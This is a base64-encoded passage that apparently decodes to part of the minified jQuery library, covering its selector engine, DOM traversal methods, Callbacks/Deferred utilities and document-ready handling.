XZlW2Vbc10udHlwZV0pYz1bYmUod2UoYyksdCldO2Vsc2V7aWYoKHQ9Yi5maWx0ZXJbZVtzXS50eXBlXS5hcHBseShudWxsLGVbc10ubWF0Y2hlcykpW2tdKXtmb3Iobj0rK3M7bjxyO24rKylpZihiLnJlbGF0aXZlW2Vbbl0udHlwZV0pYnJlYWs7cmV0dXJuIENlKDE8cyYmd2UoYyksMTxzJiZ4ZShlLnNsaWNlKDAscy0xKS5jb25jYXQoe3ZhbHVlOiIgIj09PWVbcy0yXS50eXBlPyIqIjoiIn0pKS5yZXBsYWNlKEIsIiQxIiksdCxzPG4mJkVlKGUuc2xpY2UocyxuKSksbjxyJiZFZShlPWUuc2xpY2UobikpLG48ciYmeGUoZSkpfWMucHVzaCh0KX1yZXR1cm4gd2UoYyl9cmV0dXJuIG1lLnByb3RvdHlwZT1iLmZpbHRlcnM9Yi5wc2V1ZG9zLGIuc2V0RmlsdGVycz1uZXcgbWUsaD1zZS50b2tlbml6ZT1mdW5jdGlvbihlLHQpe3ZhciBuLHIsaSxvLGEscyx1LGw9eFtlKyIgIl07aWYobClyZXR1cm4gdD8wOmwuc2xpY2UoMCk7YT1lLHM9W10sdT1iLnByZUZpbHRlcjt3aGlsZShhKXtmb3IobyBpbiBuJiYhKHI9Xy5leGVjKGEpKXx8KHImJihhPWEuc2xpY2UoclswXS5sZW5ndGgpfHxhKSxzLnB1c2goaT1bXSkpLG49ITEsKHI9ei5leGVjKGEpKSYmKG49ci5zaGlmdCgpLGkucHVzaCh7dmFsdWU6bix0eXBlOnJbMF0ucmVwbGFjZShCLCIgIil9KSxhPWEuc2xpY2Uobi5sZW5ndGgpKSxiLmZpbHRlcikhKHI9R1tvXS5leGVjKGEpKXx8dVtvXSYmIShyPXVbb10ocikpfHwobj1yLnNoaWZ0KCksaS5wdXNoKHt2YWx1ZTpuLHR5cGU6byxtYXRjaGVzOnJ9KSxhPWEuc2xpY2Uobi5sZW5ndGgpKTtpZighbilicmVha31yZXR1cm4gdD9hLmxlbmd0aDphP3NlLmVycm9yKGUpOngoZSxzKS5zbGljZSgwKX0sZj1zZS5jb21waWxlPWZ1bmN0aW9uKGUsdCl7dmFyIG4sdix5LG0seCxyLGk9W10sbz1bXSxhPU5bZSsiICJdO2lmKCFhKXt0fHwodD1oKGUpKSxuPXQubGVuZ3RoO3doaWxlKG4tLSkoYT1FZSh0W25dKSlba10/aS5wdXNoKGEpOm8ucHVzaChhKTsoYT1OKGUsKHY9byxtPTA8KHk9aSkubGVuZ3RoLHg9MDx2Lmxlbmd0aCxyPWZ1bmN0aW9uKGUsdCxuLHIsaSl7dmFyIG8sYSxzLHU9MCxsPSIwIixjPWUmJltdLGY9W10scD13LGQ9ZXx8eCYmYi5maW5kLlRBRygiKiIsaSksaD1TKz1udWxsPT1wPzE6TWF0aC5yYW5kb20oKXx8LjEsZz1kLmxlbmd0aDtmb3IoaSYmKHc9dD09PUN8fHR8fGkpO2whPT1nJiZudWxsIT0obz1kW2xdKTtsKyspe2lmKHgmJm8pe2E9MCx0fHxvLm93bmVyRG9jdW1lbnQ9PT1DfHwoVChvKSxuPSFFKTt3aGlsZShzPXZbYSsrXSlpZihzKG8sdHx8QyxuKSl7ci5wdXNoKG8pO2JyZWFrfWkmJihTPWgpfW0mJigobz0hcyYmbykmJnUtLSxlJiZjLnB1c2gobykpfWlmKHUrPWwsbSYmbCE9PXUpe2E9MDt3aGlsZShzPXlbYSsrXSlzKGMsZix0LG4pO2lmKGUpe2lmKDA8dSl3aGlsZShsLS0pY1tsXXx8ZltsXXx8KGZbbF09cS5jYWxsKHIpKTtmPVRlKGYpfUguYXBwbHkocixmKSxpJiYhZSYmMDxmLmxlbmd0aCYmMTx1K3kubGVuZ3RoJiZzZS51bmlxdWVTb3J0KHIpfXJldHVybiBpJiYoUz1oLHc9cCksY30sbT9sZShyKTpyKSkpLnNlbGVjdG9yPWV9cmV0dXJuIGF9LGc9c2Uuc2VsZWN0PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbD0iZnVuY3Rpb24iPT10eXBlb2YgZSYmZSxjPSFyJiZoKGU9bC5zZWxlY3Rvcnx8ZSk7aWYobj1ufHxbXSwxPT09Yy5sZW5ndGgpe2lmKDI8KG89Y1swXT1jWzBdLnNsaWNlKDApKS5sZW5ndGgmJiJJRCI9PT0oYT1vWzBdKS50eXBlJiY5PT09dC5ub2RlVHlwZSYmRSYmYi5yZWxhdGl2ZVtvWzFdLnR5cGVdKXtpZighKHQ9KGIuZmluZC5JRChhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksdCl8fFtdKVswXSkpcmV0dXJuIG47bCYmKHQ9dC5wYXJlbnROb2RlKSxlPWUuc2xpY2Uoby5zaGlmdCgpLnZhbHVlLmxlbmd0aCl9aT1HLm5lZWRzQ29udGV4dC50ZXN0KGUpPzA6by5sZW5ndGg7d2hpbGUoaS0tKXtpZihhPW9baV0sYi5yZWxhdGl2ZVtzPWEudHlwZV0pYnJlYWs7aWYoKHU9Yi5maW5kW3NdKSYmKHI9dShhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksZWUudGVzdChvWzBdLnR5cGUpJiZ5ZSh0LnBhcmVudE5vZGUpfHx0KSkpe2lmKG8uc3BsaWNlKGksMSksIShlPXIubGVuZ3RoJiZ4ZShvKSkpcmV0dXJuIEguYXBwbHkobixyKSxuO2JyZWFrfX19cmV0dXJuKGx8fGYoZSxjKSkocix0LCFFLG4sIXR8fGVlLnRlc3QoZSkmJnllKHQucGFyZW50Tm9kZSl8fHQpLG59LGQuc29ydFN0YWJsZT1rLnNwbGl0KCIiKS5zb3J0KEQpLmpvaW4oIiIpPT09ayxkLmRldGVjdER1cGxpY2F0ZXM9ISFsLFQoKSxkLnNvcnREZXRhY2hlZD1jZShmdW5jdGlvbihlKXtyZXR1cm4gMSZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKEMuY3JlYXRlRWxlbWVudCgiZmllbGRzZXQiKSl9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxhIGhyZWY9JyMnPjwvYT4iLCIjIj09PWUuZmlyc3RDaGlsZC5nZXRBdHRyaWJ1dGUoImhyZWYiKX0pfHxmZSgidHlwZXxocmVmfGhlaWdodHx3aWR0aCIsZnVuY3Rpb24oZSx0LG4pe2lmKCFuKXJldHVybiBlLmdldEF0dHJpYnV0ZSh0LCJ0eXBlIj09PXQudG9Mb3dlckNhc2UoKT8xOjIpfSksZC5hdHRyaWJ1dGVzJiZjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxpbnB1dC8+IixlLmZpcnN0Q2hpbGQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIiIpLCIiPT09ZS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSgidmFsdWUiKX0pfHxmZSgidmFsdWUiLGZ1bmN0aW9uKGUsdCxuKXtpZighbiYmImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlyZXR1cm4gZS5kZWZhdWx0VmFsdWV9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZS5nZXRBdHRyaWJ1dGUoImRpc2FibGVkIil9KXx8ZmUoUixmdW5jdGlvbihlLHQsbil7dmFyIHI7aWYoIW4pcmV0dXJuITA9PT1lW3RdP3QudG9Mb3dlckNhc2UoKToocj1lLmdldEF0dHJpYnV0ZU5vZGUodCkpJiZyLnNwZWNpZmllZD9yLnZhbHVlOm51bGx9KSxzZX0oQyk7ay5maW5kPWgsay5leHByPWguc2VsZWN0b3JzLGsuZXhwclsiOiJdPWsuZXhwci5wc2V1ZG9zLGsudW5pcXVlU29ydD1rLnVuaXF1ZT1oLnVuaXF1ZVNvcnQsay50ZXh0PWguZ2V0VGV4dCxrLmlzWE1MRG9jPWguaXNYTUwsay5jb250YWlucz1oLmNvbnRhaW5zLGsuZXNjYXBlU2VsZWN0b3I9aC5lc2NhcGU7dmFyIFQ9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLGk9dm9pZCAwIT09bjt3aGlsZSgoZT1lW3RdKSYmOSE9PWUubm9kZVR5cGUpaWYoMT09PWUubm9kZVR5cGUpe2lmKGkmJmsoZSkuaXMobikpYnJlYWs7ci5wdXNoKGUpfXJldHVybiByfSxTPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPVtdO2U7ZT1lLm5leHRTaWJsaW5nKTE9PT1lLm5vZGVUeXBlJiZlIT09dCYmbi5wdXNoKGUpO3JldHVybiBufSxOPWsuZXhwci5tYXRjaC5uZWVkc0NvbnRleHQ7ZnVuY3Rpb24gQShlLHQpe3JldHVybiBlLm5vZGVOYW1lJiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT10LnRvTG93ZXJDYXNlKCl9dmFyIEQ9L148KFthLXpdW15cL1wwPjpceDIwXHRcclxuXGZdKilbXHgyMFx0XHJcblxmXSpcLz8+KD86PFwvXDE+fCkkL2k7ZnVuY3Rpb24gaihlLG4scil7cmV0dXJuIG0obik/ay5ncmVwKGUsZnVuY3Rpb24oZSx0KXtyZXR1cm4hIW4uY2FsbChlLHQsZSkhPT1yfSk6bi5ub2RlVHlwZT9rLmdyZXAoZSxmdW5jdGlvbihlKXtyZXR1cm4gZT09PW4hPT1yfSk6InN0cmluZyIhPXR5cGVvZiBuP2suZ3JlcChlLGZ1bmN0aW9uKGUpe3JldHVybi0xPGkuY2FsbChuLGUpIT09cn0pOmsuZmlsdGVyKG4sZSxyKX1rLmZpbHRlcj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dFswXTtyZXR1cm4gbiYmKGU9Ijpub3QoIitlKyIpIiksMT09PXQubGVuZ3RoJiYxPT09ci5ub2RlVHlwZT9rLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHIsZSk/W3JdOltdOmsuZmluZC5tYXRjaGVzKGUsay5ncmVwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIDE9PT1lLm5vZGVUeXBlfSkpfSxrLmZuLmV4dGVuZCh7ZmluZDpmdW5jdGlvbihlKXt2YXIgdCxuLHI9dGhpcy5sZW5ndGgsaT10aGlzO2lmKCJzdHJpbmciIT10eXBlb2YgZSlyZXR1cm4gdGhpcy5wdXNoU3RhY2soayhlKS5maWx0ZXIoZnVuY3Rpb24oKXtmb3IodD0wO3Q8cjt0KyspaWYoay5jb250YWlucyhpW3RdLHRoaXMpKXJldHVybiEwfSkpO2ZvcihuPXRoaXMucHVzaFN0YWNrKFtdKSx0PTA7dDxyO3QrKylrLmZpbmQoZSxpW3RdLG4pO3JldHVybiAxPHI/ay51bmlxdWVTb3J0KG4pOm59LGZpbHRlcjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soaih0aGlzLGV8fFtdLCExKSl9LG5vdDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soaih0aGlzLGV8fFtdLCEwKSl9LGlzOmZ1bmN0aW9uKGUpe3JldHVybiEhaih0aGlzLCJzdHJpbmciPT10eXBlb2YgZSYmTi50ZXN0KGUpP2soZSk6ZXx8W10sITEpLmxlbmd0aH19KTt2YXIgcSxMPS9eKD86XHMqKDxbXHdcV10rPilbXj5dKnwjKFtcdy1dKykpJC87KGsuZm4uaW5pdD1mdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZighZSlyZXR1cm4gdGhpcztpZihuPW58fHEsInN0cmluZyI9PXR5cGVvZiBlKXtpZighKHI9IjwiPT09ZVswXSYmIj4iPT09ZVtlLmxlbmd0aC0xXSYmMzw9ZS5sZW5ndGg/W251bGwsZSxudWxsXTpMLmV4ZWMoZSkpfHwhclsxXSYmdClyZXR1cm4hdHx8dC5qcXVlcnk/KHR8fG4pLmZpbmQoZSk6dGhpcy5jb25zdHJ1Y3Rvcih0KS5maW5kKGUpO2lmKHJbMV0pe2lmKHQ9dCBpbnN0YW5jZW9mIGs/dFswXTp0LGsubWVyZ2UodGhpcyxrLnBhcnNlSFRNTChyWzFdLHQmJnQubm9kZVR5cGU/dC5vd25lckRvY3VtZW50fHx0OkUsITApKSxELnRlc3QoclsxXSkmJmsuaXNQbGFpbk9iamVjdCh0KSlmb3IociBpbiB0KW0odGhpc1tyXSk/dGhpc1tyXSh0W3JdKTp0aGlzLmF0dHIocix0W3JdKTtyZXR1cm4gdGhpc31yZXR1cm4oaT1FLmdldEVsZW1lbnRCeUlkKHJbMl0pKSYmKHRoaXNbMF09aSx0aGlzLmxlbmd0aD0xKSx0aGlzfXJldHVybiBlLm5vZGVUeXBlPyh0aGlzWzBdPWUsdGhpcy5sZW5ndGg9MSx0aGlzKTptKGUpP3ZvaWQgMCE9PW4ucmVhZHk/bi5yZWFkeShlKTplKGspOmsubWFrZUFycmF5KGUsdGhpcyl9KS5wcm90b3R5cGU9ay5mbixxPWsoRSk7dmFyIEg9L14oPzpwYXJlbnRzfHByZXYoPzpVbnRpbHxBbGwpKS8sTz17Y2hpbGRyZW46ITAsY29udGVudHM6ITAsbmV4dDohMCxwcmV2OiEwfTtmdW5jdGlvbiBQKGUsdCl7d2hpbGUoKGU9ZVt0XSkmJjEhPT1lLm5vZGVUeXBlKTtyZXR1cm4gZX1rLmZuLmV4dGVuZCh7aGFzOmZ1bmN0aW9uKGUpe3ZhciB0PWsoZSx0aGlzKSxuPXQubGVuZ3RoO3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe2Zvcih2YXIgZT0wO2U8bjtlKyspaWYoay5jb250YWlucyh0aGlzLHRbZV0pKXJldHVybiEwfSl9LGNsb3Nlc3Q6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10aGlzLmxlbmd0aCxvPVtdLGE9InN0cmluZyIhPXR5cGVvZiBlJiZrKGUpO2lmKCFOLnRlc3QoZSkpZm9yKDtyPGk7cisrKWZvcihuPXRoaXNbcl07biYmbiE9PXQ7bj1uLnBhcmVudE5vZGUpaWYobi5ub2RlVHlwZTwxMSYmKGE/LTE8YS5pbmRleChuKToxPT09bi5ub2RlVHlwZSYmay5maW5kLm1hdGNoZXNTZWxlY3RvcihuLGUpKSl7by5wdXNoKG4pO2JyZWFrfXJldHVybiB0aGlzLnB1c2hTdGFjaygxPG8ubGVuZ3RoP2sudW5pcXVlU29ydChvKTpvKX0saW5kZXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGU/InN0cmluZyI9PXR5cGVvZiBlP2kuY2FsbChrKGUpLHRoaXNbMF0pOmkuY2FsbCh0aGlzLGUuanF1ZXJ5P2VbMF06ZSk6dGhpc1swXSYmdGhpc1swXS5wYXJlbnROb2RlP3RoaXMuZmlyc3QoKS5wcmV2QWxsKCkubGVuZ3RoOi0xfSxhZGQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soay51bmlxdWVTb3J0KGsubWVyZ2UodGhpcy5nZXQoKSxrKGUsdCkpKSl9LGFkZEJhY2s6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuYWRkKG51bGw9PWU/dGhpcy5wcmV2T2JqZWN0OnRoaXMucHJldk9iamVjdC5maWx0ZXIoZSkpfX0pLGsuZWFjaCh7cGFyZW50OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmMTEhPT10Lm5vZGVUeXBlP3Q6bnVsbH0scGFyZW50czpmdW5jdGlvbihlKXtyZXR1cm4gVChlLCJwYXJlbnROb2RlIil9LHBhcmVudHNVbnRpbDpmdW5jdGlvbihlLHQsbil7cmV0dXJuIFQoZSwicGFyZW50Tm9kZSIsbil9LG5leHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIFAoZSwibmV4dFNpYmxpbmciKX0scHJldjpmdW5jdGlvbihlKXtyZXR1cm4gUChlLCJwcmV2aW91c1NpYmxpbmciKX0sbmV4dEFsbDpmdW5jdGlvbihlKXtyZXR1cm4gVChlLCJuZXh0U2libGluZyIpfSxwcmV2QWxsOmZ1bmN0aW9uKGUpe3JldHVybiBUKGUsInByZXZpb3VzU2libGluZyIpfSxuZXh0VW50aWw6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBUKGUsIm5leHRTaWJsaW5nIixuKX0scHJldlVudGlsOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gVChlLCJwcmV2aW91c1NpYmxpbmciLG4pfSxzaWJsaW5nczpmdW5jdGlvbihlKXtyZXR1cm4gUygoZS5wYXJlbnROb2RlfHx7fSkuZmlyc3RDaGlsZCxlKX0sY2hpbGRyZW46ZnVuY3Rpb24oZSl7cmV0dXJuIFMoZS5maXJzdENoaWxkKX0sY29udGVudHM6ZnVuY3Rpb24oZSl7cmV0dXJuInVuZGVmaW5lZCIhPXR5cGVvZiBlLmNvbnRlbnREb2N1bWVudD9lLmNvbnRlbnREb2N1bWVudDooQShlLCJ0ZW1wbGF0ZSIpJiYoZT1lLmNvbnRlbnR8fGUpLGsubWVyZ2UoW10sZS5jaGlsZE5vZGVzKSl9fSxmdW5jdGlvbihyLGkpe2suZm5bcl09ZnVuY3Rpb24oZSx0KXt2YXIgbj1rLm1hcCh0aGlzLGksZSk7cmV0dXJuIlVudGlsIiE9PXIuc2xpY2UoLTUpJiYodD1lKSx0JiYic3RyaW5nIj09dHlwZW9mIHQmJihuPWsuZmlsdGVyKHQsbikpLDE8dGhpcy5sZW5ndGgmJihPW3JdfHxrLnVuaXF1ZVNvcnQobiksSC50ZXN0KHIpJiZuLnJldmVyc2UoKSksdGhpcy5wdXNoU3RhY2sobil9fSk7dmFyIFI9L1teXHgyMFx0XHJcblxmXSsvZztmdW5jdGlvbiBNKGUpe3JldHVybiBlfWZ1bmN0aW9uIEkoZSl7dGhyb3cgZX1mdW5jdGlvbiBXKGUsdCxuLHIpe3ZhciBpO3RyeXtlJiZtKGk9ZS5wcm9taXNlKT9pLmNhbGwoZSkuZG9uZSh0KS5mYWlsKG4pOmUmJm0oaT1lLnRoZW4pP2kuY2FsbChlLHQsbik6dC5hcHBseSh2b2lkIDAsW2VdLnNsaWNlKHIpKX1jYXRjaChlKXtuLmFwcGx5KHZvaWQgMCxbZV0pfX1rLkNhbGxiYWNrcz1mdW5jdGlvbihyKXt2YXIgZSxuO3I9InN0cmluZyI9PXR5cGVvZiByPyhlPXIsbj17fSxrLmVhY2goZS5tYXRjaChSKXx8W10sZnVuY3Rpb24oZSx0KXtuW3RdPSEwfSksbik6ay5leHRlbmQoe30scik7dmFyIGksdCxvLGEscz1bXSx1PVtdLGw9LTEsYz1mdW5jdGlvbigpe2ZvcihhPWF8fHIub25jZSxvPWk9ITA7dS5sZW5ndGg7bD0tMSl7dD11LnNoaWZ0KCk7d2hpbGUoKytsPHMubGVuZ3RoKSExPT09c1tsXS5hcHBseSh0WzBdLHRbMV0pJiZyLnN0b3BPbkZhbHNlJiYobD1zLmxlbmd0aCx0PSExKX1yLm1lbW9yeXx8KHQ9ITEpLGk9ITEsYSYmKHM9dD9bXToiIil9LGY9e2FkZDpmdW5jdGlvbigpe3JldHVybiBzJiYodCYmIWkmJihsPXMubGVuZ3RoLTEsdS5wdXNoKHQpKSxmdW5jdGlvbiBuKGUpe2suZWFjaChlLGZ1bmN0aW9uKGUsdCl7bSh0KT9yLnVuaXF1ZSYmZi5oYXModCl8fHMucHVzaCh0KTp0JiZ0Lmxlbmd0aCYmInN0cmluZyIhPT13KHQpJiZuKHQpfSl9KGFyZ3VtZW50cyksdCYmIWkmJmMoKSksdGhpc30scmVtb3ZlOmZ1bmN0aW9uKCl7cmV0dXJuIGsuZWFjaChhcmd1bWVudHMsZnVuY3Rpb24oZSx0KXt2YXIgbjt3aGlsZSgtMTwobj1rLmluQXJyYXkodCxzLG4pKSlzLnNwbGljZShuLDEpLG48PWwmJmwtLX0pLHRoaXN9LGhhczpmdW5jdGlvbihlKXtyZXR1cm4gZT8tMTxrLmluQXJyYXkoZSxzKTowPHMubGVuZ3RofSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiBzJiYocz1bXSksdGhpc30sZGlzYWJsZTpmdW5jdGlvbigpe3JldHVybiBhPXU9W10scz10PSIiLHRoaXN9LGRpc2FibGVkOmZ1bmN0aW9uKCl7cmV0dXJuIXN9LGxvY2s6ZnVuY3Rpb24oKXtyZXR1cm4gYT11PVtdLHR8fGl8fChzPXQ9IiIpLHRoaXN9LGxvY2tlZDpmdW5jdGlvbigpe3JldHVybiEhYX0sZmlyZVdpdGg6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gYXx8KHQ9W2UsKHQ9dHx8W10pLnNsaWNlP3Quc2xpY2UoKTp0XSx1LnB1c2godCksaXx8YygpKSx0aGlzfSxmaXJlOmZ1bmN0aW9uKCl7cmV0dXJuIGYuZmlyZVdpdGgodGhpcyxhcmd1bWVudHMpLHRoaXN9LGZpcmVkOmZ1bmN0aW9uKCl7cmV0dXJuISFvfX07cmV0dXJuIGZ9LGsuZXh0ZW5kKHtEZWZlcnJlZDpmdW5jdGlvbihlKXt2YXIgbz1bWyJub3RpZnkiLCJwcm9ncmVzcyIsay5DYWxsYmFja3MoIm1lbW9yeSIpLGsuQ2FsbGJhY2tzKCJtZW1vcnkiKSwyXSxbInJlc29sdmUiLCJkb25lIixrLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSxrLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSwwLCJyZXNvbHZlZCJdLFsicmVqZWN0IiwiZmFpbCIsay5DYWxsYmFja3MoIm9uY2UgbWVtb3J5Iiksay5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IiksMSwicmVqZWN0ZWQiXV0saT0icGVuZGluZyIsYT17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gaX0sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIHMuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSwiY2F0Y2giOmZ1bmN0aW9uKGUpe3JldHVybiBhLnRoZW4obnVsbCxlKX0scGlwZTpmdW5jdGlvbigpe3ZhciBpPWFyZ3VtZW50cztyZXR1cm4gay5EZWZlcnJlZChmdW5jdGlvbihyKXtrLmVhY2gobyxmdW5jdGlvbihlLHQpe3ZhciBuPW0oaVt0WzRdXSkmJmlbdFs0XV07c1t0WzFdXShmdW5jdGlvbigpe3ZhciBlPW4mJm4uYXBwbHkodGhpcyxhcmd1bWVudHMpO2UmJm0oZS5wcm9taXNlKT9lLnByb21pc2UoKS5wcm9ncmVzcyhyLm5vdGlmeSkuZG9uZShyLnJlc29sdmUpLmZhaWwoci5yZWplY3QpOnJbdFswXSsiV2l0aCJdKHRoaXMsbj9bZV06YXJndW1lbnRzKX0pfSksaT1udWxsfSkucHJvbWlzZSgpfSx0aGVuOmZ1bmN0aW9uKHQsbixyKXt2YXIgdT0wO2Z1bmN0aW9uIGwoaSxvLGEscyl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIG49dGhpcyxyPWFyZ3VtZW50cyxlPWZ1bmN0aW9uKCl7dmFyIGUsdDtpZighKGk8dSkpe2lmKChlPWEuYXBwbHkobixyKSk9PT1vLnByb21pc2UoKSl0aHJvdyBuZXcgVHlwZUVycm9yKCJUaGVuYWJsZSBzZWxmLXJlc29sdXRpb24iKTt0PWUmJigib2JqZWN0Ij09dHlwZW9mIGV8fCJmdW5jdGlvbiI9PXR5cGVvZiBlKSYmZS50aGVuLG0odCk/cz90LmNhbGwoZSxsKHUsbyxNLHMpLGwodSxvLEkscykpOih1KyssdC5jYWxsKGUsbCh1LG8sTSxzKSxsKHUsbyxJLHMpLGwodSxvLE0sby5ub3RpZnlXaXRoKSkpOihhIT09TSYmKG49dm9pZCAwLHI9W2VdKSwoc3x8by5yZXNvbHZlV2l0aCkobixyKSl9fSx0PXM/ZTpmdW5jdGlvbigpe3RyeXtlKCl9Y2F0Y2goZSl7ay5EZWZlcnJlZC5leGNlcHRpb25Ib29rJiZrLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2soZSx0LnN0YWNrVHJhY2UpLHU8PWkrMSYmKGEhPT1JJiYobj12b2lkIDAscj1bZV0pLG8ucmVqZWN0V2l0aChuLHIpKX19O2k/dCgpOihrLkRlZmVycmVkLmdldFN0YWNrSG9vayYmKHQuc3RhY2tUcmFjZT1rLkRlZmVycmVkLmdldFN0YWNrSG9vaygpKSxDLnNldFRpbWVvdXQodCkpfX1yZXR1cm4gay5EZWZlcnJlZChmdW5jdGlvbihlKXtvWzBdWzNdLmFkZChsKDAsZSxtKHIpP3I6TSxlLm5vdGlmeVdpdGgpKSxvWzFdWzNdLmFkZChsKDAsZSxtKHQpP3Q6TSkpLG9bMl1bM10uYWRkKGwoMCxlLG0obik/bjpJKSl9KS5wcm9taXNlKCl9LHByb21pc2U6ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWU/ay5leHRlbmQoZSxhKTphfX0scz17fTtyZXR1cm4gay5lYWNoKG8sZnVuY3Rpb24oZSx0KXt2YXIgbj10WzJdLHI9dFs1XTthW3RbMV1dPW4uYWRkLHImJm4uYWRkKGZ1bmN0aW9uKCl7aT1yfSxvWzMtZV1bMl0uZGlzYWJsZSxvWzMtZV1bM10uZGlzYWJsZSxvWzBdWzJdLmxvY2ssb1swXVszXS5sb2NrKSxuLmFkZCh0WzNdLmZpcmUpLHNbdFswXV09ZnVuY3Rpb24oKXtyZXR1cm4gc1t0WzBdKyJXaXRoIl0odGhpcz09PXM/dm9pZCAwOnRoaXMsYXJndW1lbnRzKSx0aGlzfSxzW3RbMF0rIldpdGgiXT1uLmZpcmVXaXRofSksYS5wcm9taXNlKHMpLGUmJmUuY2FsbChzLHMpLHN9LHdoZW46ZnVuY3Rpb24oZSl7dmFyIG49YXJndW1lbnRzLmxlbmd0aCx0PW4scj1BcnJheSh0KSxpPXMuY2FsbChhcmd1bWVudHMpLG89ay5EZWZlcnJlZCgpLGE9ZnVuY3Rpb24odCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JbdF09dGhpcyxpW3RdPTE8YXJndW1lbnRzLmxlbmd0aD9zLmNhbGwoYXJndW1lbnRzKTplLC0tbnx8by5yZXNvbHZlV2l0aChyLGkpfX07aWYobjw9MSYmKFcoZSxvLmRvbmUoYSh0KSkucmVzb2x2ZSxvLnJlamVjdCwhbiksInBlbmRpbmciPT09by5zdGF0ZSgpfHxtKGlbdF0mJmlbdF0udGhlbikpKXJldHVybiBvLnRoZW4oKTt3aGlsZSh0LS0pVyhpW3RdLGEodCksby5yZWplY3QpO3JldHVybiBvLnByb21pc2UoKX19KTt2YXIgJD0vXihFdmFsfEludGVybmFsfFJhbmdlfFJlZmVyZW5jZXxTeW50YXh8VHlwZXxVUkkpRXJyb3IkLztrLkRlZmVycmVkLmV4Y2VwdGlvbkhvb2s9ZnVuY3Rpb24oZSx0KXtDLmNvbnNvbGUmJkMuY29uc29sZS53YXJuJiZlJiYkLnRlc3QoZS5uYW1lKSYmQy5jb25zb2xlLndhcm4oImpRdWVyeS5EZWZlcnJlZCBleGNlcHRpb246ICIrZS5tZXNzYWdlLGUuc3RhY2ssdCl9LGsucmVhZHlFeGNlcHRpb249ZnVuY3Rpb24oZSl7Qy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dGhyb3cgZX0pfTt2YXIgRj1rLkRlZmVycmVkKCk7ZnVuY3Rpb24gQigpe0UucmVtb3ZlRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsQiksQy5yZW1vdmVFdmVudExpc3RlbmVyKCJsb2FkIixCKSxrLnJlYWR5KCl9ay5mbi5yZWFkeT1mdW5jdGlvbihlKXtyZXR1cm4gRi50aGVuKGUpWyJjYXRjaCJdKGZ1bmN0aW9uKGUpe2sucmVhZHlFeGNlcHRpb24oZSl9KSx0aGlzfSxrLmV4dGVuZCh7aXNSZWFkeTohMSxyZWFkeVdhaXQ6MSxyZWFkeTpmdW5jdGlvbihlKXsoITA9PT1lPy0tay5yZWFkeVdhaXQ6ay5pc1JlYWR5KXx8KGsuaXNSZWFkeT0hMCkhPT1lJiYwPC0tay5yZWFkeVdhaXR8fEYucmVzb2x2ZVdpdGgoRSxba10pfX0pLGsucmVhZHkudGhlbj1GLnRoZW4sImNvbXBsZXRlIj09PUUucmVhZHlTdGF0ZXx8ImxvYWRpbmciIT09RS5yZWFkeVN0YXRlJiYhRS5kb2N1bWVudEVsZW1lbnQuZG9TY3JvbGw/Qy5zZXRUaW1lb3V0KGsucmVhZHkpOihFLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLEIpLEMuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsQikpO3ZhciBfPWZ1bmN0aW9uKGUsdCxuLHIsaSxvLGEpe3ZhciBzPTAsdT1lLmxlbmd0aCxsPW51bGw9PW47aWYoIm9iamVjdCI9PT13KG4pKWZvcihzIGluIGk9ITAsbilfKGUsdCxzLG5bc10sITAsbyxhKTtlbHNlIGlmKHZvaWQgMCE9PXImJihpPSEwLG0ocil8fChhPSEwKSxsJiYoYT8odC5jYWxsKGUsciksdD1udWxsKToobD10LHQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBsLmNhbGwoayhlKSxuKX0pKSx0KSlmb3IoO3M8dTtzKyspdChlW3NdLG4sYT9yOnIuY2FsbChlW3NdLHMsdChlW3NdLG4pKSk7cmV0dXJuIGk/ZTpsP3QuY2FsbChlKTp1P3QoZVswXSxuKTpvfSx6PS9eLW1zLS8sVT0vLShbYS16XSkvZztmdW5jdGlvbiBYKGUsdCl7